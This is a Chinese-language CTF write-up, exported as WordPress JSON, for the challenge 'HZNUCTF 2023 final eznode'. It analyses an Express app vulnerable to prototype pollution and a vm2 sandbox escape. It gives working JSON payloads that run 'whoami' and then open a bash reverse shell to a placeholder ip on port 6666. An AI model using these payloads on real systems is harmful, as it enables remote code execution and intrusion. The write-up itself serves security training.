{"id":2985,"date":"2026-01-21T22:47:53","date_gmt":"2026-01-21T14:47:53","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2985"},"modified":"2026-01-21T22:47:57","modified_gmt":"2026-01-21T14:47:57","slug":"hznuctf-2023-final-eznode","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2026\/01\/21\/hznuctf-2023-final-eznode\/","title":{"rendered":"HZNUCTF 2023 final eznode"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260121111406.png\" alt=\"Pasted image 20260121111406.png\"><\/p>\n<h1>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260121213412.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260121213412.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260121213412.png\"><\/div><br \/>\n\u63d0\u793a\u627e\u6e90\u4ee3\u7801<\/p>\n<h1>\u4e8c\u3001\u76ee\u5f55\u626b\u63cf<\/h1>\n<p>\u6210\u529f\u626b\u51faapp.js<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260121215103.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260121215103.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260121215103.png\"><\/div><br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260121215222.png\" alt=\"Pasted image 20260121215222.png\"><\/p>\n<h1>\u4e09\u3001\u5206\u6790js\u4ee3\u7801<\/h1>\n<pre><code class=\"language-js\">  \nconst express = require('express');\nconst app = express();\nconst { VM } = require('vm2');\n\napp.use(express.json());\n\nconst backdoor = function () {\n    try {\n        new VM().run({}.shellcode);\n    } catch (e) {\n        console.log(e);\n    }\n}\n\nconst isObject = obj =&gt; obj &amp;&amp; obj.constructor &amp;&amp; obj.constructor === Object;\nconst merge = (a, b) =&gt; {\n    for (var attr in b) {\n        if (isObject(a[attr]) &amp;&amp; isObject(b[attr])) {\n            merge(a[attr], b[attr]);\n        } else {\n            a[attr] = b[attr];\n        }\n    }\n    return a\n}\nconst clone = (a) =&gt; {\n    return merge({}, a);\n}\n\n\napp.get('\/', function (req, res) {\n    res.send(&quot;POST some json shit to \/.  no source code and try to find source code&quot;);\n});\n\napp.post('\/', function (req, res) {\n    try {\n        console.log(req.body)\n        var body = JSON.parse(JSON.stringify(req.body));\n        var copybody = clone(body)\n        if (copybody.shit) {\n            backdoor()\n        }\n        res.send(&quot;post shit ok&quot;)\n    }catch(e){\n        res.send(&quot;is it shit ?&quot;)\n        console.log(e)\n    }\n})\n\napp.listen(3000, function () {\n    console.log('start listening on port 3000');\n});\n<\/code><\/pre>\n<ul>\n<li>\n<p>\u5f15\u5165\u4e86express\u548cvm2\u6c99\u7bb1<\/p>\n<\/li>\n<li>\n<p>backdoor\u51fd\u6570\uff1a\u5728VM2\u6c99\u7bb1\u4e2d\u6267\u884c<code>{}.shellcode<\/code>\u5c5e\u6027\u3002<br \/>\nrun()\u4f1a\u628a\u53c2\u6570\u5f53\u4f5c\u547d\u4ee4\u6765\u6267\u884c\uff0c\u6b64\u5904\u5c31\u662f\u5c06{}\u7684shellcode\u5c5e\u6027\u5f53\u4f5c\u547d\u4ee4\u6765\u6267\u884c\uff0c\u6240\u4ee5\u8981\u6c61\u67d3{}\u7684shellcode\u5c5e\u6027\u3002<\/p>\n<\/li>\n<li>\n<p>merge\u51fd\u6570\uff1a\u9012\u5f52\u5bf9\u4e24\u4e2a\u5bf9\u8c61\u8fdb\u884c\u5408\u5e76<br \/>\n\u539f\u578b\u94fe\u6c61\u67d3\u7ecf\u5e38\u51fa\u73b0\u7684\u51fd\u6570<\/p>\n<\/li>\n<li>\n<p>clone\u51fd\u6570\uff1a\u89e6\u53d1mege\u51fd\u6570<br \/>\n<code>merge({}, a)<\/code> \u4e2d\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7a7a\u5bf9\u8c61 <code>{}<\/code>\uff0c\u82e5 a \u5305\u542b <code>__proto__<\/code>\uff0c\u5219 <code>{}.__proto__<\/code> \u5c31\u662f <code>Object.prototype<\/code>\uff0c\u5408\u5e76\u65f6\u4f1a\u76f4\u63a5\u6c61\u67d3\u5168\u5c40\u539f\u578b\u94fe\u3002<\/p>\n<\/li>\n<li>\n<p>GET\u8def\u7531\uff1a\u663e\u793a\u63d0\u793a<\/p>\n<\/li>\n<li>\n<p>POST\u8def\u7531<br \/>\n<code>var body = JSON.parse(JSON.stringify(req.body));<\/code>\u83b7\u53d6\u4e0a\u4f20\u7684JSON\u6570\u636e\u3002<br \/>\n<code>var copybody = clone(body)<\/code>\u8c03\u7528\u4e86\u9012\u5f52\u51fd\u6570\u3002<br \/>\nif (copybody.shit) {<br \/>\nbackdoor()<br \/>\n}<br \/>\n\u8c03\u7528backdoor\u51fd\u6570\uff0c\u9700\u8981\u4ee4shit\u4e3atrue<\/p>\n<\/li>\n<\/ul>\n<h1>\u56db\u3001\u6784\u9020payload<\/h1>\n<p>post\u4f20\u9012\u4e00\u4e2ajson\u6570\u636e\uff0c\u4f1a\u7ecf\u8fc7<code>json.parse<\/code>\u51fd\u6570\u89e3\u6790\uff0c\u7136\u540e\u518d\u901a\u8fc7<code>clone()<\/code>\u51fd\u6570\u590d\u5236\u5230<code>copybody<\/code>\u53d8\u91cf\u4e2d\uff0c\u6700\u540e\u5224\u65ad\u8be5\u53d8\u91cf\u7684shit\u503c\u662f\u5426\u4e3a\u771f\uff0c\u7136\u540e\u8c03\u7528<code>backdoor()<\/code>\u51fd\u6570\u5728VM2\u6c99\u7bb1\u4e2d\u6267\u884c<code>{}.shellcode<\/code>\u5c5e\u6027\u3002<\/p>\n<p>payload\u53c2\u8003\uff1a<\/p>\n<pre><code>https:\/\/xz.aliyun.com\/news\/11305#toc-5\n<\/code><\/pre>\n<pre><code>{&quot;shit&quot;:1,&quot;__proto__&quot;:{&quot;shellcode&quot;:&quot;let res = import('.\/app.js');res.toString.constructor(\\&quot;return this\\&quot;)().process.mainModule.require(\\&quot;child_process\\&quot;).execSync('whoami').toString();&quot;}}\n<\/code><\/pre>\n<p>\u62ff\u5230 <code>shit<\/code>\uff08\u8d4b\u503c\u7ed9 <code>a.shit = 1<\/code>\uff09\uff0c\u518d\u62ff\u5230 <code>__proto__<\/code>\uff08\u8d4b\u503c\u7ed9 <code>a.__proto__<\/code>\uff09\uff0cshellcode\u5c31\u662f<code>a.__proto__.shellcode<\/code><br \/>\n<code>a.__proto__<\/code> = <code>{}.__proto__<\/code> = <code>Object.prototype<\/code><\/p>\n<p>\u4f46\u662f\u662f\u65e0\u56de\u663e<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260121221818.png\" alt=\"Pasted image 20260121221818.png\"><\/p>\n<p>\u4f7f\u7528\u53cd\u5f39shell<\/p>\n<pre><code>{&quot;shit&quot;:1,&quot;__proto__&quot;:{&quot;shellcode&quot;:&quot;let res = import('.\/app.js');res.toString.constructor(\\&quot;return this\\&quot;)().process.mainModule.require(\\&quot;child_process\\&quot;).execSync('bash -c \\&quot;bash -i &gt;&amp; \/dev\/tcp\/ip\/6666 0&gt;&amp;1\\&quot;').toString();&quot;}}\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260121221523.png\" alt=\"Pasted image 20260121221523.png\"><\/p>\n<h1>\u603b\u7ed3<\/h1>\n<ul>\n<li>\n<p>\u539f\u578b\u94fe\u6c61\u67d3<\/p>\n<\/li>\n<li>\n<p>vm2\u6c99\u76d2\u9003\u9038<\/p>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9 \u63d0\u793a\u627e\u6e90\u4ee3\u7801 \u4e8c\u3001\u76ee\u5f55\u626b\u63cf \u6210\u529f\u626b\u51faapp.js \u4e09\u3001\u5206\u6790js\u4ee3\u7801 const express  [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[87,88],"class_list":["post-2985","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-87","tag-88"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2985","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2985"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2985\/revisions"}],"predecessor-version":[{"id":2986,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2985\/revisions\/2986"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2985"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2985"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2985"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}